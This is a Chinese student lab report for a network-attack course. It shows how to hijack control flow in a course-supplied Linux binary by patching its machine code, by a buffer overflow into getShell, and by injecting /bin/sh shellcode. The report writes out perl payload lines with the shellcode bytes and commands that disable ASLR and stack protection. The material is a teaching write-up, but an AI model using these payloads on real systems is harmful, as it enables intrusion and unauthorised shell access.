2018-2019-2 《网络对抗技术》 Exp1 PC平台逆向破解 20165215
2018-2019-2 《网络对抗技术》 Exp1 PC平台逆向破解 20165215
【知识点描述】
1.掌握NOP, JNE, JE, JMP, CMP汇编指令的机器码
NOP:空指令,运行该指令时单片机什么都不做,但是会占用一个指令的时间,对应机器码为90
JNE:条件转移指令,ZF标志位为0时跳转,对应机器码为75
JE:条件转移指令,ZF标志位为1时跳转,对应机器码为74
JMP:无条件跳转指令,可转到内存中任何程序段,对应机器码为eb
CMP:比较指令,(通过两数相减的方法)比较两个数的大小,同时会更新标志寄存器,对应机器码为39
参考:汇编指令和机器码的对应表
2.掌握反汇编与十六进制编程器
反汇编指令:
objdump -d filename
在反汇编指令后添加| more,就可以按页显示反汇编的内容管道命令:
|
将前者的输出作为后者的输入重定向符:
>
将前者输出的内容输入到后者中将显示模式切换为16进制模式
:%!xxd
转换16进制为原格式
:%!xxd -r
十六进制编程器:
perl -e
3.能正确修改机器指令改变程序执行流程
4.能正确构造payload进行bof攻击
详见 [ (三)注入Shellcode并执行
【实验步骤】
- 每一模块都是在pwn1文件的拷贝文件上操作
(一)直接修改程序机器指令,改变程序执行流程
1、输入指令objdump -d pwn5215_1
反汇编pwn5215_1文件
分析:如上图所示,我们可以看到foo函数的地址为08048491
,getshell函数的地址为0804847d
,call 804891 <foo>
指令是将调用位于地址8048491
处的foo函数,该指令对应的机器码为e8 d7 ff ff ff
,其中e8即跳转之意。
d7ffffff
是补码,其原码为0x29
,80484ba-0x29=8048491
,即foo函数所在的内存地址
如果我们想让程序调用getShell函数,只需要修改e8 d7 ff ff ff
中foo函数的地址为getShell函数的地址即可
根据运算,8484ba-804847d=0x003d
,再将0x003d
转换为补码ffffffc3
,可知我们须修改可执行文件,将其中的call指令的目标地址由d7ffffff变
为c3ffffff
2、用vi pwn5215_1
指令打开可执行文件pwn5215_1
3、按下esc
键后,使用:%!xxd
指令将该文件转换为十六进制显示
4、输入\d7
查找需要修改的内容
5、确认位置正确后,按Enter
键选定目标,使用r
指令将d7
修改为c3
6、输入:%!xxd -r
将十六进制文件转换为原格式,输入:wq
保存并退出
7、输入objdump -d pwn5215_1
反汇编,确认call指令正确调用getShell函数
8、运行文件pwn5215_1
(二)通过构造输入参数,造成BOF攻击,改变程序执行流
思路:
可执行文件正常运行调用foo函数,而该函数存在Buffer overflow漏洞,因为在读入字符串时,系统只预留了固定字节的缓冲区,超出部分会造成溢出,而我们的目标就是将getshell函数的地址覆盖到返回地址,从而触发函数
1、打开gdb调试可执行文件,运行后输入1111111122222222333333334444444455555555
,使用info r
命令查看各寄存器的值
分析:此时EIP寄存器(即返回地址)的值是0x35353535
,不存在该地址,故发生错误,其中5的ASCII值为35
2、为进一步确定buf分配的栈空间大小,我们将输入改为1111111122222222333333334444444412345678
,重复上步操作
分析:此时EIP寄存器的值为0x34333231
,对应输入中的1234
,由此我们可以确定预留的缓冲区大小为32字节,因此只要输入任意32字节加上4字节getShell 的内存地址,就可以触发getShell函数
反汇编时我们已知getShell的内存地址是0804847d,由于数据的小端方式存储,其地址应按\x7d\x84\x04\x08
格式输入
3、输入perl -e 'print "11111111222222223333333344444444\x7d\x84\x04\x08\x0a"' > input
,再使用xxd
命令查看input文件的内容是否如预期
4、利用管道符,将input1作为pwn20165215_2的输入,运行该文件
(三)注入Shellcode并执行
原理:
分析:由于该buf的缓冲区足够大,故采用NSR溢出模式,其中nop一为是了填充,二是作为“着陆区/滑行区”,猜测的返回地址只要落在任何一个nop上,自然会滑到shellcode。所以我们构造的payload结构为共32字节的random、nop、shellcode加上4字节指向shellcode地址的retaddr。
1、准备工作
# apt-get install execstack //安装execstack
# execstack -s pwn1 //设置堆栈可执行
# execstack -q pwn1 //查询文件的堆栈是否可执行
# echo "0" > /proc/sys/kernel/randomize_va_space //关闭地址随机化
# more /proc/sys/kernel/randomize_va_space //查看地址随机化是否已经关闭
2、构造一个input_shell(参考老师给的代码)并注入运行
perl -e 'print "A" x 32;print "\x4\x3\x2\x1\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00\xd3\xff\xff\x00"' > input_shell
3、打开另外一个终端,输入ps -ef | grep pwn5215_3
获取pwn5215_3的进程号4049
4、启动gdb调试程序,用attach 4049
与进程建立连接
5、设置断点查看注入buf的内存地址
分析:可以看到ret指令的地址为0x080484ae
6、使用break *0x080484ae
设置断点,在另一个终端按下回车,再在gdb调试的终端输入 c
继续运行程序
7、使用info r esp
查看esp寄存器地址,使用x/16x 0xffffd30c
:以16进制形式查看0xffffd30c地址后面16字节的内容
分析:从上图可知,返回地址的位置是0x01020304,根据我们构造的input_shell可知,shellcode就在其后,所以shellcode地址是0xffffd310(0xffffd30c加上4字节)
8、构造input_shellcode并注入运行
perl -e 'print "A" x 32;print"\x10\xd3\xff\xff\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00\xd3\xff\xff\x00"' > input_shellcode
【实验感想及问题回答】
- 实验收获与感想
通过自己动手实现缓冲区溢出攻击,使我对缓冲区溢出的原理、函数调用时堆栈的存储结构理解地更加深入。感谢老师详细的讲解和学长学姐们的博客指导,使我本次实验进行地十分顺利,许多之前课程学过的知识点也得到了很好的巩固。
- 什么是漏洞?漏洞有什么危害
漏洞是指可能被攻击者利用、运行非正常情况下代码段的bug,漏洞可能会造成黑客入侵,非法控制计算机等问题
2018-2019-2 《网络对抗技术》 Exp1 PC平台逆向破解 20165215的更多相关文章
- 20155324《网络对抗》Exp1 PC平台逆向破解(5)M
20155324<网络对抗>Exp1 PC平台逆向破解(5)M 实验目标 本次实践的对象是一个名为~pwn1~的~linux~可执行文件. 该程序正常执行流程是:~main~调用~foo~ ...
- 20155232《网络对抗》 Exp1 PC平台逆向破解(5)M
20155232<网络对抗> Exp1 PC平台逆向破解(5)M 实验内容 (1).掌握NOP, JNE, JE, JMP, CMP汇编指令的机器码(1分) (2)掌握反汇编与十六进制编程 ...
- 20155227《网络对抗》Exp1 PC平台逆向破解(5)M
20155227<网络对抗>Exp1 PC平台逆向破解(5)M 实验目标 本次实践的对象是一个名为pwn1的linux可执行文件. 该程序正常执行流程是:main调用foo函数,foo函数 ...
- 2018-2019-2 20165236郭金涛《网络对抗》Exp1 PC平台逆向破解
2018-2019-2 20165236郭金涛<网络对抗>Exp1 PC平台逆向破解 一.实验内容 1.掌握NOP, JNE, JE, JMP, CMP汇编指令的机器码(0.5分) 2.掌 ...
- 20155208徐子涵 《网络对抗》Exp1 PC平台逆向破解
20155208徐子涵 <网络对抗>Exp1 PC平台逆向破解 实践目标 本次实践的对象是一个名为pwn1的linux可执行文件. 该程序正常执行流程是:main调用foo函数,foo函数 ...
- 20145325张梓靖 《网络对抗技术》 PC平台逆向破解
20145325张梓靖 <网络对抗技术> PC平台逆向破解 学习任务 shellcode注入:shellcode实际是一段代码,但却作为数据发送给受攻击服务器,将代码存储到对方的堆栈中,并 ...
- # 《网络对抗》Exp1 PC平台逆向破解20155337祁家伟
<网络对抗>Exp1 PC平台逆向破解20155337祁家伟 实践目标 本次实践的对象是一个名为pwn1的linux可执行文件. 该程序正常执行流程是:main调用foo函数,foo函数会 ...
- 20145206邹京儒《网络对抗技术》 PC平台逆向破解
20145206邹京儒<网络对抗技术> PC平台逆向破解 注入shellcode并执行 一.准备一段shellcode 二.设置环境 具体在终端中输入如下: apt-cache searc ...
- 20145331魏澍琛 《网络对抗技术》 PC平台逆向破解
20145331魏澍琛 <网络对抗技术> PC平台逆向破解 学习任务 1.shellcode注入:shellcode实际是一段代码,但却作为数据发送给受攻击服务器,将代码存储到对方的堆栈中 ...
- 20145336张子扬 《网络对抗技术》 PC平台逆向破解
#20145336张子扬 <网络对抗技术> PC平台逆向破解 ##Shellcode注入 **基础知识** Shellcode实际是一段代码,但却作为数据发送给受攻击服务器,将代码存储到对 ...
随机推荐
- sql server里中自增长的ID重新开始排
dbcc checkident('tablename',reseed,0); 执行:dbcc checkident('TableA',reseed,0); 执行结束:中途报了几次插入重复键. 结论:用 ...
- ELK之使用packetbeat分析网络包流量
介绍 packbeat是一个开源的实时网络抓包与分析框架,内置了很多常见的协议捕获及解析,如HTTP.MySQL.Redis等.在实际使用中,通常和Elasticsearch以及kibana联合使用, ...
- 壁虎书7 Ensemble Learning and Random Forests
if you aggregate the predictions of a group of predictors,you will often get better predictions than ...
- about this blog
这个博客大概是被我用来整理模板的吧╮(╯▽╰)╭ 因为本小盆友巨懒,99.9%是不会写什么题解或者学习笔记什么的
- 深度好文 | 在阿里做了5年技术Leader,我总结出了这些套路!
导读:阿里巴巴高级技术专家云狄将为大家从管理的角度分享技术TL的核心职责,这其中包括团队建设.团队管理.团队文化.沟通与辅导.招聘与解雇等,希望与大家共同探讨.交流. 背景 互联网公司的技术团队管理通 ...
- 如何让模拟的json数据接口能够正常的在手机上有效果
1. 确保手机与PC在同一个ip网下 这里我是通过------------360随身WIFI,20块钱淘宝上卖的,外观像U盘一样的,直接插在电脑的USB上就能在PC上创建一个WiFi,手机连接上就可以 ...
- vue设置背景图片
现在data里面定义: note: { backgroundImage: "url(" + require("../../assets/home/bigdatabak.p ...
- windows android ndk的某些编译工具报错乱码0x5 或拒绝访问05
在IDEA或者AndroidStudio的快捷方式上右键属性 > 兼容性 > 以管理员身份运行 解决问题.
- PyQt5之使用Qt下的designer工具将.ui文件转换成.py文件后添加什么东西后方可运行
首先证明我是加了那些鬼东西以后可以成功运行的. 然后来叙述一下我的过程. 这是一个.ui文件生成的.py文件.(把主要的内容省去了,但是没有影响结构) # -*- coding: utf-8 -*- ...
- 前端 CSS 介绍
CSS介绍 我们为什么需要CSS? 使用css的目的就是让网页具有美观一致的页面,另外一个最重要的原因是内容与格式分离 在没有CSS之前,我们想要修改HTML标签的样式需要为每个HTML标签单独定义样 ...